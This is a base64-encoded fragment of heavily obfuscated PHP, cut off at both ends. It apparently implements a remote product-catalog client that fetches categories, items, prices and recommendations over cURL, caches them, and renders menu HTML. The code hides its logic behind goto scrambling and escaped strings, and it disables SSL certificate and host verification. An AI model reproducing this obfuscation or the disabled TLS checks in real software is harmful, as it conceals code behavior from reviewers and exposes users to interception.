ZFx4NzMiXSk7IGdvdG8gTE1vejA7IFVDY0ZrOiBhcnJheV9wdXNoKCR0bm9qNiwgJE5QRnZSWyJcMTQzXHg2MVx4NzRcMTQ1XDE0N1x4NmZcMTYyXDE3MSJdKTsgZ290byBJYk9sSDsgaFlCUFI6IH0gZ290byBUMWg1QzsgRktaOGY6IHJldHVybiAkQjJlOGg7IGdvdG8gc0NrV3o7IHo1UmZYOiAkUVl1UGggPSBqc29uX2RlY29kZSgkempYdEhbIlx4NjRceDYxXDE2NFx4NjEiXSwgdHJ1ZSk7IGdvdG8geDRtMlg7IHNDa1d6OiB9IHByaXZhdGUgZnVuY3Rpb24gZGVQTzIoKSB7IGdvdG8gcE8xZEs7IEdGTzJrOiByZXR1cm4gJFdhX2gxOyBnb3RvIEp1UFBCOyBCVld1UjogZEdxWE46IGdvdG8gYW1seGM7IFhfM25WOiAkV2FfaDEgPSBbXTsgZ290byBOZFJ6eDsgQlVNVjQ6ICR0aGlzLT5KZm9vXyhzZWxmOjpvbjJzNiwganNvbl9lbmNvZGUoJFdhX2gxKSk7IGdvdG8gQlZXdVI7IE83UU1GOiAkV2FfaDFbIlwxNDVcMTcwXDE2MFwxNTFceDcyXDE0NSJdID0gdGltZSgpOyBnb3RvIEJVTVY0OyBhbWx4YzogcW5oOFM6IGdvdG8geDZUdkg7IHg2VHZIOiAkV2FfaDEgPSBhcnJheV9tYXAoZnVuY3Rpb24gKCROWUJyWCkgeyAkTllCclhbIlx4NjNcMTQxXDE2NFwxNDVceDY3XHg2Zlx4NzJcMTcxXHg1ZlwxNTFceDY0Il0gPSAkdGhpcy0+Z2gxUmEoIlwxNjNcMTUzXDE2NSIgLiAkTllCclhbIlwxNDNcMTQxXHg3NFwxNDVceDY3XDE1N1x4NzJceDc5XDEzN1wxNTFceDY0Il0pOyByZXR1cm4gJE5ZQnJYOyB9LCAkV2FfaDFbIlwxNDRceDYxXHg3NFwxNDEiXSk7IGdvdG8gR0ZPMms7IHBPMWRLOiAkR081N28gPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6b24yczYpOyBnb3RvIGZ6ZU4xOyBmemVOMTogJFdhX2gxID0ganNvbl9kZWNvZGUoJEdPNTdvLCB0cnVlKTsgZ290byBLaVBBRDsgTmRSeng6IGdvdG8gZEdxWE47IGdvdG8gbTZ5bG87IEtpUEFEOiBpZiAoISghJFdhX2gxIHx8ICFpc19hcnJheSgkV2FfaDEpIHx8IGVtcHR5KCRXYV9oMSkgfHwgdGltZSgpIC0gJFdhX2gxWyJceDY1XHg3OFwxNjBcMTUxXDE2MlwxNDUiXSA+PSBzZWxmOjpWdUloUCkpIHsgZ290byBxbmg4UzsgfSBnb3RvIENOUjhsOyBYb25qMzogJFdhX2gxID0ganNvbl9kZWNvZGUoJHpqWHRIWyJceDY0XDE0MVwxNjRcMTQxIl0sIHRydWUpOyBnb3RvIE83UU1GOyBtNnlsbzogbEJxRTU6IGdvdG8gWG9uajM7IFhaS3V6OiBpZiAoJHpqWHRIWyJcMTQzXDE1N1wxNDRcMTQ1Il0gPT0gMjAwICYmIGlzc2V0KCR6alh0SFsiXDE0NFwxNDFcMTY0XDE0MSJdKSAmJiAhZW1wdHkoJHpqWHRIWyJcMTQ0XHg2MVx4NzRceDYxIl0pKSB7IGdvdG8gbEJxRTU7IH0gZ290byBYXzNuVjsgQ05SOGw6ICR6alh0SCA9ICR0aGlzLT5wMmREbCgkdGhpcy0+RHBhOFIgLiBzZWxmOjpQQlh6VywgYXJyYXkoIlwxNjNcMTYyXDE0MyIgPT4gJHRoaXMtPlVkUFozLCAiXDE0NVx4NzhcMTY0XHg3Mlx4NjEiID0+ICR0aGlzLT5vbzBfTSksIFsiXHg3OFx4MmRceDYxXHg3MFx4NzBcNTVcMTUxXHg2NFw3Mlx4MjB7JHRoaXMtPmFWSFZ2fSJdKTsgZ290byBYWkt1ejsgSnVQUEI6IH0gcHJpdmF0ZSBmdW5jdGlvbiBtX0oxRSgkRDBWbXosICRCbU4yZCwgJHRPSTBOKSB7IGdvdG8gQ3gyb0k7IHZLTFdVOiBmb3JlYWNoICgkQjJlOGhbIlwxNDRcMTQxXHg3NFx4NjEiXVsiXDE1MVx4NzRcMTQ1XDE1NVx4NzMiXSBhcyAkUHdRWmcpIHsgZ290byBjZGp3WTsgY2Rqd1k6ICRGVkNMMyA9ICR0aGlzLT5ETG9fNCgkUHdRWmdbIlx4NjNceDc1XDE2MlwxNjJceDY1XHg2ZVwxNjRceDVmXDE2MFx4NzJceDY5XHg2M1wxNDUiXSk7IGdvdG8gQ3kwZTE7IEN5MGUxOiAkbnBvR1dbXSA9IGFycmF5KCJcMTY0XHg2OVx4NzRceDZjXDE0NSIgPT4gJFB3UVpnWyJceDc0XDE1MVwxNjRceDZjXDE0NSJdLCAiXDE1MVwxNDQiID0+ICR0aGlzLT5HaDFyYSgiXHg3M1x4NmJceDc1IiAuICRQd1FaZ1siXHg2OVwxNjRcMTQ1XHg2ZFwxMzdceDY5XHg2NCJdKSwgIlx4NzVcMTYyXHg2YyIgPT4gc2VsZjo6YjgzWmsgLiAiXDU3IiAuICR0aGlzLT5BS0NDWih1Y3dvcmRzKHN0cnRvbG93ZXIoJFB3UVpnWyJceDc0XHg2OVx4NzRceDZjXDE0NSJdKSkpIC4gIlx4NWYiIC4gJHRoaXMtPkdIMXJBKCJcMTYzXDE1M1x4NzUiIC4gJFB3UVpnWyJceDY5XHg3NFwxNDVcMTU1XDEzN1x4NjlceDY0Il0pIC4gIlx4MmVcMTUwXDE2NFx4NmRcMTU0IiwgIlx4NjNceDc1XDE2Mlx4NzJceDY1XDE1Nlx4NjNcMTcxXHg1ZlwxNjNcMTcxXDE1NVx4NjJcMTU3XHg2YyIgPT4gJHRoaXMtPmpWakpOKCRQd1FaZ1siXHg2M1x4NzVcMTYyXDE2MlwxNDVceDZlXHg2M1wxNzFceDVmXDE1MVx4NjQiXSksICJceDY0XDE1MVx4NzNceDcwXHg2Y1wxNDFceDc5XHg1Zlx4NzBcMTYyXHg2OVx4NjNceDY1IiA9PiAkRlZDTDNbIlx4NjRceDY5XDE2M1wxNjBceDZjXDE0MVx4NzlceDVmXDE2MFwxNjJceDY5XDE0M1wxNDUiXSwgIlwxNjJceDYxXDE2N1wxMzdcMTYwXHg3Mlx4NjlceDYzXHg2NSIgPT4gJEZWQ0wzWyJcMTYyXHg2MVx4NzdcMTM3XHg3MFx4NzJcMTUxXDE0M1x4NjUiXSwgIlwxNTFcMTU1XHg2MVx4NjdcMTQ1XHg1Zlx4NzNcMTYyXHg2MyIgPT4gJFB3UVpnWyJceDYxXHg2Y1x4NjJcMTY1XDE1NSJdKTsgZ290byBUSXduUTsgVEl3blE6IEt3VEo0OiBnb3RvIHNtY290OyBzbWNvdDogfSBnb3RvIFhLakhfOyB0ZFE0XzogJHJua3A0WyJceDczXDE2Mlx4NjMiXSA9ICR0aGlzLT5VZFBaMzsgZ290byBzR08wUDsgZXdENkU6ICR6alh0SCA9ICR0aGlzLT5wMkRkTCgkdGhpcy0+RHBhOFIgLiAkbnVPVmUsICRybmtwNCwgJG9pdkYxKTsgZ290byBuX0EyQzsgV2hSWUY6ICRucG9HVyA9IFtdOyBnb3RvIHZLTFdVOyBzR08wUDogJHJua3A0WyJceDY1XHg3OFwxNjRceDcyXHg2MSJdID0gJHRoaXMtPm9vMF9NOyBnb3RvIFVMX2ZhOyBIb2trSjogJHRoaXMtPnNSMWVCKCRybmtwNFsiXHg2M1wxNDFcMTY0XDE0NVwxNDdceDZmXHg3MlwxNzFceDVmXDE1MVwxNDQiXSwgc2VsZjo6Wmp1WlopOyBnb3RvIFFtWTBPOyBnSzlHYjogJFlxTmhEID0gJHRoaXMtPmdldENhY2hlKHNlbGY6OmtYTW9sLCBbJE5BalluLCAkQm1OMmQsICR0T0kwTl0pOyBnb3RvIHgwT0pjOyBUanJGTjogJG5wb0dXWyJcMTUzXHg2NVwxNzEiXSA9ICJ7JHJua3A0WyJceDYzXHg2MVwxNjRceDY1XHg2N1x4NmZcMTYyXDE3MVwxMzdceDY5XDE0NCJdfVwxNzR7JEJtTjJkfVx4N2N7JHRPSTBOfSI7IGdvdG8gb2dtbFA7IEZ0NFhjOiAkcm5rcDRbIlx4NjNceDYxXDE2NFx4NjVceDY3XHg2ZlwxNjJcMTcxXDEzN1wxNTFcMTQ0Il0gPSBzdHJfcmVwbGFjZShbIlx4NzNcMTUzXHg3NSIsICJceDYzXDE0MVwxNjQiXSwgJycsICR0aGlzLT5HSDFyYSgkRDBWbXosIGZhbHNlKSk7IGdvdG8gSG9ra0o7IG9nbWxQOiByZXR1cm4gJG5wb0dXOyBnb3RvIE9rRUxjOyBObE54NDogaWYgKCR0aGlzLT54enk2MSkgeyBnb3RvIEtxM3hYOyB9IGdvdG8gZ0s5R2I7IGswU3RCOiAkbnVPVmUgPSBzZWxmOjpNV21lOTsgZ290byBObE54NDsgYWhJVmU6IFNvM2c3OiBnb3RvIHRkUTRfOyBIWHcxZzogJHJua3A0WyJcMTYwXHg2MVx4NjdcMTQ1XHg1ZlwxNTZcMTY1XHg2ZCJdID0gKGludCkgJEJtTjJkOyBnb3RvIGRWaWZNOyBvNG5MZjogcmV0dXJuICRCMmU4aDsgZ290byBhaElWZTsgUW1ZME86ICRybmtwNFsiXHg3MFx4NjFcMTQ3XDE0NVwxMzdcMTYzXHg2OVwxNzJcMTQ1Il0gPSAoaW50KSAkdE9JME47IGdvdG8gSFh3MWc7IFVMX2ZhOiAkbnVPVmUgPSBzZWxmOjppU0VFZTsgZ290byBBZXdwaTsgWEtqSF86IG5EMzlEOiBnb3RvIFRqckZOOyB4ME9KYzogJEIyZThoID0ganNvbl9kZWNvZGUoJFlxTmhELCB0cnVlKTsgZ290byBmTkwyZzsgZk5MMmc6IGlmICghKCRCMmU4aCAmJiBpc19hcnJheSgkQjJlOGgpKSkgeyBnb3RvIFNvM2c3OyB9IGdvdG8gbzRuTGY7IGtCbVN5OiBLcTN4WDogZ290byBld0Q2RTsgbl9BMkM6ICRCMmU4aCA9IGpzb25fZGVjb2RlKCR6alh0SFsiXDE0NFwxNDFcMTY0XHg2MSJdLCB0cnVlKTsgZ290byBXaFJZRjsgQ3gyb0k6ICROQWpZbiA9ICREMFZtejsgZ290byBGdDRYYzsgZFZpZk06ICRvaXZGMSA9IFtdOyBnb3RvIGswU3RCOyBBZXdwaTogJG9pdkYxID0gWyJceDc4XDU1XDE0MVx4NzBcMTYwXHgyZFwxNTFceDY0XDcyXHgyMHskdGhpcy0+YVZIVnZ9Il07IGdvdG8ga0JtU3k7IE9rRUxjOiB9IHByaXZhdGUgZnVuY3Rpb24gb3BodmwoJFZpeGh0LCAkUlp0WWcpIHsgZ290byBJNkVTQjsgenRmWkQ6ICRybmtwNFsiXHg2NVx4NzhceDc0XHg3Mlx4NjEiXSA9ICR0aGlzLT5vbzBfTTsgZ290byBGV212dDsgZ1dXMnc6IHJldHVybiAkUHdRWmc7IGdvdG8gQ1JlMjI7IEZXbXZ0OiAkcm5rcDRbIlx4NjRceDZmXHg2ZFx4NjFcMTUxXHg2ZVwxMzdcMTUxXHg2NCJdID0gJHRoaXMtPkpJMXVPOyBnb3RvIHVPalNqOyBCajFmVDogJG51T1ZlID0gc2VsZjo6UFdaOUg7IGdvdG8gYTNxYmc7IENwWnBwOiAkVml4aHQgPSBzdHJfcmVwbGFjZShbIlwxNjNcMTUzXHg3NSIsICJceDYzXDE0MVx4NzQiXSwgJycsIHNlbGY6OmdIMXJhKCRWaXhodCwgZmFsc2UpKTsgZ290byBualZxUDsgWGZlSnM6ICRybmtwNFsiXHg2OVwxNjRcMTQ1XHg2ZFx4NWZceDY5XDE0NCJdID0gKHN0cmluZykgJFZpeGh0OyBnb3RvIGhHZTdhOyBnbWVqMzogJHJua3A0WyJcMTYzXHg3Mlx4NjMiXSA9ICR0aGlzLT5VZFBaMzsgZ290byB6dGZaRDsgRWpta0E6ICRQd1FaZyA9IGpzb25fZGVjb2RlKCR6alh0SFsiXDE0NFwxNDFceDc0XDE0MSJdLCB0cnVlKTsgZ290byBtTjBVcDsgSmJ3V3U6ICRvaXZGMSA9IFsiXDE3MFw1NVx4NjFcMTYwXDE2MFw1NVx4NjlceDY0XDcyeyR0aGlzLT5hVkhWdn0iXTsgZ290byBCajFmVDsgVzcyTGg6IGlmICghKCRFeXJTbiAmJiBpc19hcnJheSgkRXlyU24pKSkgeyBnb3RvIHp2ZlJkOyB9IGdvdG8gZ1hueVo7IGhHZTdhOiAkcm5rcDRbIlwxNjJceDY1XDE0M1x4NmZceDZkXHg2ZFx4NjVceDZlXDE0NCJdID0gJFJadFlnOyBnb3RvIHBrOHlsOyBDNE14czogJHpqWHRIID0gJHRoaXMtPlAyRERMKCR0aGlzLT5EcGE4UiAuICRudU9WZSwgJHJua3A0LCAkb2l2RjEpOyBnb3RvIEVqbWtBOyBwazh5bDogJG9pdkYxID0gW107IGdvdG8gc3VGdEM7IGEzcWJnOiBtTzVjcjogZ290byBDNE14czsgbU4wVXA6ICRQd1FaZ1siXHg3MlwxNDVcMTQzXDE1N1x4NmRcMTU1XHg2NVx4NmVcMTQ0XHg3MyJdID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkUlp0WWcpIHsgJEZWQ0wzID0gJHRoaXMtPmRsT180KCRSWnRZZ1siXDE0M1x4NzVcMTYyXDE2Mlx4NjVcMTU2XDE2NFwxMzdcMTYwXHg3MlwxNTFceDYzXDE0NSJdKTsgcmV0dXJuIGFycmF5KCJceDc0XHg2OVx4NzRcMTU0XDE0NSIgPT4gJFJadFlnWyJceDc0XDE1MVwxNjRceDZjXHg2NSJdLCAiXDE1MVwxNDQiID0+ICR0aGlzLT5HSDFyYSgiXHg3M1wxNTNceDc1IiAuICRSWnRZZ1siXHg2OVx4NzRcMTQ1XHg2ZFx4NWZcMTUxXHg2NCJdKSwgIlx4NzVcMTYyXHg2YyIgPT4gc2VsZjo6YjgzWmsgLiAiXHgyZiIgLiAkdGhpcy0+YWtjY1oodWN3b3JkcyhzdHJ0b2xvd2VyKCRSWnRZZ1siXDE2NFx4NjlcMTY0XDE1NFx4NjUiXSkpKSAuICJcMTM3IiAuICR0aGlzLT5nSDFSYSgiXHg3M1wxNTNceDc1IiAuICRSWnRZZ1siXHg2OVx4NzRcMTQ1XHg2ZFx4NWZcMTUxXHg2NCJdKSAuICJceDJlXDE1MFwxNjRcMTU1XHg2YyIsICJceDYzXHg3NVwxNjJcMTYyXDE0NVx4NmVceDYzXHg3OVwxMzdceDczXDE3MVx4NmRcMTQyXDE1N1wxNTQiID0+ICR0aGlzLT5KVkpKTigkUlp0WWdbIlwxNDNceDc1XDE2Mlx4NzJceDY1XHg2ZVwxNDNceDc5XHg1Zlx4NjlceDY0Il0pLCAiXHg2NFx4NjlceDczXHg3MFx4NmNcMTQxXHg3OVwxMzdceDcwXDE2MlwxNTFcMTQzXDE0NSIgPT4gJEZWQ0wzWyJceDY0XDE1MVwxNjNcMTYwXDE1NFwxNDFceDc5XHg1ZlwxNjBceDcyXHg2OVwxNDNceDY1Il0sICJceDcyXHg2MVwxNjdcMTM3XHg3MFx4NzJcMTUxXHg2M1wxNDUiID0+ICRGVkNMM1siXDE2MlwxNDFceDc3XDEzN1x4NzBceDcyXHg2OVwxNDNceDY1Il0sICJceDY5XHg2ZFx4NjFcMTQ3XHg2NVx4NWZceDczXHg3MlwxNDMiID0+ICRSWnRZZ1siXDE0MVx4NmNceDYyXHg3NVx4NmQiXSk7IH0sICRQd1FaZ1siXDE2MlwxNDVceDYzXHg2ZlwxNTVcMTU1XDE0NVx4NmVceDY0XHg3MyJdKTsgZ290byBnV1cydzsgbmpWcVA6IHNlbGY6OnNSMUViKCRWaXhodCwgc2VsZjo6SFhaMm8pOyBnb3RvIFhmZUpzOyBsRkZPZjogJEFGelR5ID0gJHRoaXMtPmdldENhY2hlKHNlbGY6OnAyeDQ4LCBbJE5BalluXSk7IGdvdG8gUWtwMU07IE5XamxIOiBpZiAoJHRoaXMtPnh6eTYxKSB7IGdvdG8gbU81Y3I7IH0gZ290byBsRkZPZjsgZFZ3NzI6ICRybmtwNFsiXHg3MFwxNDFcMTY0XDE1MCJdID0gJyc7IGdvdG8gZTcwdGc7IHN1RnRDOiAkbnVPVmUgPSBzZWxmOjpyNGo0dTsgZ290byBOV2psSDsgUWtwMU06ICRFeXJTbiA9IGpzb25fZGVjb2RlKCRBRnpUeSwgdHJ1ZSk7IGdvdG8gVzcyTGg7IHVPalNqOiAkcm5rcDRbIlx4NjNceDY4XDE1MVwxNTRcMTQ0XDEzN1x4NjRceDZmXDE1NVx4NjFcMTUxXHg2ZSJdID0gJHRoaXMtPnFZX3pkOyBnb3RvIGRWdzcyOyBJNkVTQjogJE5BalluID0gJFZpeGh0OyBnb3RvIENwWnBwOyBlNzB0ZzogJHJua3A0WyJceDcwXDE0MVwxNDFcMTYzIl0gPSAxOyBnb3RvIEpid1d1OyBnWG55WjogcmV0dXJuICRFeXJTbjsgZ290byBoQ1NtZjsgaENTbWY6IHp2ZlJkOiBnb3RvIGdtZWozOyBDUmUyMjogfSBwcml2YXRlIGZ1bmN0aW9uIHFmYzhzKCREMFZteikgeyBnb3RvIHRJNHBQOyBHTjNkRjogJERrV3JyID0ganNvbl9kZWNvZGUoJGNHN1cyLCB0cnVlKTsgZ290byBVYVZKTzsgQV90MXA6ICR6alh0SCA9ICR0aGlzLT5QMkREbCgkdGhpcy0+RHBhOFIgLiBzZWxmOjpESmNQMywgYXJyYXkoIlwxNjNceDcyXDE0MyIgPT4gJHRoaXMtPlVkUFozLCAiXDE0NVwxNzBcMTY0XDE2MlwxNDEiID0+ICR0aGlzLT5vbzBfTSwgIlwxNDNcMTQxXHg3NFx4NjVceDY3XDE1N1x4NzJcMTcxXDEzN1x4NjlcMTQ0IiA9PiAkRDBWbXopLCBbIlwxNzBcNTVcMTQxXHg3MFx4NzBceDJkXHg2OVx4NjRceDNheyR0aGlzLT5hVkhWdn0iXSk7IGdvdG8gVTkzU1k7IEE3c1BfOiAkRDBWbXogPSBzdHJfcmVwbGFjZShbIlx4NzNcMTUzXDE2NSIsICJceDYzXDE0MVx4NzQiXSwgJycsICR0aGlzLT5HSDFSYSgkRDBWbXosIGZhbHNlKSk7IGdvdG8gQkhBTWo7IHRJNHBQOiAkY0c3VzIgPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6QzhOTlUsIFskRDBWbXpdKTsgZ290byBHTjNkRjsgd29BMWU6IHJldHVybiAkcm0xYUVbIlwxNDRceDYxXHg3NFwxNDEiXTsgZ290byBVa211azsgVWFWSk86IGlmICghKCREa1dyciAmJiBpc19hcnJheSgkRGtXcnIpKSkgeyBnb3RvIFB0YTQ0OyB9IGdvdG8gaEpBXzU7IFU5M1NZOiAkcm0xYUUgPSBqc29uX2RlY29kZSgkempYdEhbIlx4NjRcMTQxXDE2NFx4NjEiXSwgdHJ1ZSk7IGdvdG8gd29BMWU7IGhKQV81OiByZXR1cm4gJERrV3JyOyBnb3RvIGJHSm1nOyBCSEFNajogJHRoaXMtPnNyMUViKCREMFZteiwgIlwxNDNcMTQxXDE2NFx4NjVcMTQ3XDE1N1wxNjJceDc5XHg1Zlx4NjlcMTQ0Iik7IGdvdG8gQV90MXA7IGJHSm1nOiBQdGE0NDogZ290byBBN3NQXzsgVWttdWs6IH0gcHVibGljIGZ1bmN0aW9uIG0xdmV5KCRIUWtkRSkgeyBnb3RvIFYyRFFSOyBhbjBpWTogJFphN2pkID0ganNvbl9kZWNvZGUoJHpqWHRIWyJcMTQ0XHg2MVx4NzRcMTQxIl0sIHRydWUpOyBnb3RvIHgwNEZQOyBuRmZTaTogT1dHU0k6IGdvdG8gcVlTTEU7IFhfaUZ2OiByZXR1cm4gJFphN2pkOyBnb3RvIGtTME92OyBoUkJVdzogJFphN2pkID0gW107IGdvdG8gdW50Njk7IGlMWHFxOiAkempYdEggPSAkdGhpcy0+UDJEREwoJHRoaXMtPkRwYThSIC4gc2VsZjo6R0dMN0gsIGFycmF5KCJcMTUzXDE0NVwxNzEiID0+ICRIUWtkRSA/ICJ7JHRoaXMtPnFZX3pkfVwxNzR7JEhRa2RFfSIgOiAkdGhpcy0+cVlfemQpKTsgZ290byBhbjBpWTsgelRyWV86IEhlX3ZLOiBnb3RvIFhfaUZ2OyBXWHNieTogZ290byBIZV92SzsgZ290byB0aFVaYTsgYktPRWw6ICRaYTdqZCA9ICRRNGUzMFskSFFrZEVdOyBnb3RvIFdYc2J5OyB4MDRGUDogaWYgKCRaYTdqZFsiXDE0NFwxNDFceDc0XDE0MSJdKSB7IGdvdG8gT1dHU0k7IH0gZ290byBoUkJVdzsgWmZLMU86IGlmICghJFE0ZTMwWyRIUWtkRV0gfHwgaXNfYXJyYXkoJFE0ZTMwKSB8fCBlbXB0eSgkUTRlMzApIHx8IHRpbWUoKSAtICRRNGUzMFsiXDE0NVwxNzBceDcwXDE1MVx4NzJceDY1Il0gPiBzZWxmOjpWdUloUCkgeyBnb3RvIERQeW9KOyB9IGdvdG8gYktPRWw7IHVMM0RyOiAkRzZEaTAgPSBpc19hcnJheSgkUTRlMzApICYmICFlbXB0eSgkUTRlMzApID8gJFE0ZTMwICsgWyRIUWtkRSA9PiAkWmE3amRdIDogWyRIUWtkRSA9PiAkWmE3amQsICJcMTQ1XHg3OFx4NzBcMTUxXDE2Mlx4NjUiID0+IHRpbWUoKV07IGdvdG8gZG4xSHU7IFhRTTJqOiBOTnhCazogZ290byB6VHJZXzsgcVlTTEU6ICRaYTdqZCA9ICRaYTdqZFsiXDE0NFwxNDFcMTY0XHg2MSJdOyBnb3RvIHVMM0RyOyB0aFVaYTogRFB5b0o6IGdvdG8gaUxYcXE7IHVudDY5OiBnb3RvIE5OeEJrOyBnb3RvIG5GZlNpOyBkbjFIdTogJHRoaXMtPmpGT09fKHNlbGY6OmxuaUFELCBqc29uX2VuY29kZSgkRzZEaTApLCBbJEhRa2RFXSk7IGdvdG8gWFFNMmo7IEU3MWhLOiAkUTRlMzAgPSBqc29uX2RlY29kZSgkUG9SOE4sIHRydWUpOyBnb3RvIFpmSzFPOyBWMkRRUjogJFBvUjhOID0gJHRoaXMtPmdldENhY2hlKHNlbGY6OmxuaUFELCBbJEhRa2RFXSk7IGdvdG8gRTcxaEs7IGtTME92OiB9IHB1YmxpYyBmaW5hbCBmdW5jdGlvbiBwMkRETCgkR29XY0IsICRybmtwNCA9IFtdLCAkb2l2RjEgPSBbXSwgJEZ2SnNCID0gIlwxMDdcMTA1XHg1NCIpIHsgZ290byByR2F3VzsgZ1NGZnQ6ICRxOGsxdCA9IGN1cmxfZ2V0aW5mbygkTlc1SU4sIENVUkxJTkZPX0hUVFBfQ09ERSk7IGdvdG8gV2dWNkM7IFl3UXJXOiBjdXJsX3NldG9wdCgkTlc1SU4sIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXlfbWVyZ2UoWyJceDQzXDE1N1x4NmVcMTY0XHg2NVx4NmVceDc0XHgyZFwxMjRceDc5XHg3MFx4NjVceDNhXDQwXHg2MVwxNjBceDcwXHg2Y1wxNTFcMTQzXHg2MVx4NzRceDY5XHg2Zlx4NmVcNTdcMTUyXDE2M1wxNTdceDZlIl0sICRvaXZGMSkpOyBnb3RvIEZPQV9FOyByMDdOczogZ290byB0Vnh2VjsgZ290byBsSWRHUTsgckdhd1c6ICROVzVJTiA9IGN1cmxfaW5pdCgkR29XY0IpOyBnb3RvIFl3UXJXOyBHcUNxMjogY3VybF9zZXRvcHQoJE5XNUlOLCBDVVJMT1BUX0NVU1RPTVJFUVVFU1QsICRGdkpzQik7IGdvdG8gbGI1elg7IGxKT2RFOiB0Vnh2VjogZ290byBZZWhvNjsgRk9BX0U6IGN1cmxfc2V0b3B0KCROVzVJTiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IGdvdG8gbmgxQ007IE9zdkk2OiAkempYdEggPSBjdXJsX2V4ZWMoJE5XNUlOKTsgZ290byBnU0ZmdDsgbmgxQ006IGN1cmxfc2V0b3B0KCROVzVJTiwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOyBnb3RvIE03aHBFOyBNU3c0ejogcmV0dXJuICR6alh0SDsgZ290byBsSk9kRTsgTTdocEU6IGN1cmxfc2V0b3B0KCROVzVJTiwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyBnb3RvIEdxQ3EyOyBsSWRHUTogcUl6Zm46IGdvdG8gTVN3NHo7IFdnVjZDOiBjdXJsX2Nsb3NlKCROVzVJTik7IGdvdG8gajI2TnQ7IGxiNXpYOiBjdXJsX3NldG9wdCgkTlc1SU4sIENVUkxPUFRfUE9TVEZJRUxEUywganNvbl9lbmNvZGUoJHJua3A0KSk7IGdvdG8gT3N2STY7IE9IMlFVOiByZXR1cm4gWyJceDY0XDE0MVwxNjRcMTQxIiA9PiAkempYdEgsICJcMTQzXHg2Zlx4NjRceDY1IiA9PiAkcThrMXRdOyBnb3RvIHIwN05zOyBqMjZOdDogaWYgKCR6alh0SCA9PSBmYWxzZSkgeyBnb3RvIHFJemZuOyB9IGdvdG8gT0gyUVU7IFllaG82OiB9IHB1YmxpYyBmdW5jdGlvbiBOcDR6TigkR29XY0IsICRvaXZGMSA9IFtdKSB7IGdvdG8gZ3F3ODI7IHFQYjZ3OiAkempYdEggPSBjdXJsX2V4ZWMoJE5XNUlOKTsgZ290byBYOWdoYjsgakVZbmk6IGN1cmxfc2V0b3B0KCROVzVJTiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IGdvdG8gVzBlVWQ7IHJvdjhEOiBjdXJsX2Nsb3NlKCROVzVJTik7IGdvdG8gYUg2N0c7IFhHSzJxOiBjdXJsX3NldG9wdCgkTlc1SU4sIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgZ290byBxUGI2dzsgWDlnaGI6ICRvTUg0cSA9IGN1cmxfZ2V0aW5mbygkTlc1SU4sIENVUkxJTkZPX0NPTlRFTlRfVFlQRSk7IGdvdG8gZjRBQmU7IGdxdzgyOiAkTlc1SU4gPSBjdXJsX2luaXQoJEdvV2NCKTsgZ290byBMeVU4RTsgTHlVOEU6IGlmICghJG9pdkYxKSB7IGdvdG8gQm1YTTc7IH0gZ290byBkcTNucjsgZHEzbnI6IGN1cmxfc2V0b3B0KCROVzVJTiwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkb2l2RjEpOyBnb3RvIGtpemNnOyBhSDY3RzogcmV0dXJuICR6alh0SDsgZ290byBHSWxwSTsga2l6Y2c6IEJtWE03OiBnb3RvIGpFWW5pOyBXMGVVZDogY3VybF9zZXRvcHQoJE5XNUlOLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7IGdvdG8gWEdLMnE7IGY0QUJlOiBoZWFkZXIoIlx4NDNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzRceDJkXDEyNFx4NzlceDcwXDE0NVw3Mnskb01INHF9Iik7IGdvdG8gcm92OEQ7IEdJbHBJOiB9IHB1YmxpYyBmdW5jdGlvbiByOTVaTSgkdG5vajYsICR0QzRMZCA9IGZhbHNlKSB7IGdvdG8gcDVON3A7IG9rYjJLOiAkVWxzb0EgPSBhcnJheV9zbGljZSgkdG5vajYsIDAsIDQpOyBnb3RvIEJheXZOOyBKTzc0VzogJGVyVzAzID0gZnVuY3Rpb24gKCRvUDI5WSwgJHpsMXFjLCAkR29XY0IpIHsgcmV0dXJuICJcNDBceDIwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFx4MjBceDNjXHg2Y1x4NjlcNDBceDY5XDE0NFw3NVw0MnskemwxcWN9XDQyXDQwXDE0M1wxNTRceDYxXHg3M1wxNjNceDNkXDQyXHg2ZFwxNDVceDZlXDE2NVx4MmRcMTUxXHg3NFx4NjVceDZkXHgyMFwxNTVceDY1XDE1NlwxNjVceDJkXHg2OVx4NzRcMTQ1XHg2ZFw1NVx4NzRcMTcxXDE2MFwxNDVcNTVcMTYwXDE1N1x4NzNcMTY0XHg1ZlwxNjRcMTcxXDE2MFwxNDVcNDBcMTU1XHg2NVx4NmVcMTY1XHgyZFx4NjlceDc0XDE0NVwxNTVcNTVceDZmXHg2Mlx4NmFceDY1XDE0M1wxNjRcNTVcMTYwXHg2MVx4NjdcMTQ1XDQwXHg2ZVwxNDFceDcyXHg3Mlx4NmZceDc3XHgyMlx4M2VcMTVcMTJcNDBceDIwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXDQwXHgyMFx4MjBceDIwXHgzY1wxNDFcNDBcMTUwXDE2Mlx4NjVceDY2XHgzZFx4MjJcNTd7JEdvV2NCfVw0Mlw3Nnskb1AyOVlbIlwxNDNceDYxXDE2NFx4NjVceDY3XHg2ZlwxNjJcMTcxXHg1ZlwxNTZceDYxXHg2ZFx4NjUiXX1ceDNjXHgyZlx4NjFcNzZcMTVcMTJceDIwXDQwXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDNjXDU3XDE1NFwxNTFceDNlIjsgfTsgZ290byBLbkRPRDsgWkRlU0U6ICR6bDFxYyA9ICR0QzRMZCA/ICJceDYxXDE0M1wxNDNceDZmXDE2Mlx4NjRceDY5XHg2Zlx4NmVceDJkXDE1NVwxNDVceDZlXDE2NVx4MmRceDY5XHg3NFwxNDVceDZkIiA6ICJceDZlXDE0MVwxNj